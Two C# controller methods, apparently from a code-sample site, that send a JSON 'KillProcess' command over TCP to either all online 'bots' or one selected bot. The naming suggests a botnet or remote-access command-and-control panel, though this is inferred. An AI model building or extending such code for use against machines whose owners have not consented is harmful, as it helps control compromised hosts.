public async Task <IActionResult> KillProcess(int procId)
        {
            var method = new BaseCommands
            {
                Method = "KillProcess"
            };
            var Variables = new KillProcessVariables
            {
                Id = procId
            };
            var Command = new KillProcessCommands
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = false//execute online bots
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
Ejemplo n.º 2
0
        public async Task <IActionResult> KillProcess(KillProcessModel model)
        {
            var method = new BaseCommands
            {
                Method = "KillProcess"
            };
            var Variables = new KillProcessVariables
            {
                Id = model.ProcessId
            };
            var Command = new KillProcessCommands
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var query = new GetBotByIdQuery
            {
                Id = model.UserId
            };

            var bot = await _mediator.Send(query);

            var response = CommandExecute.TcpConnects(bot, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }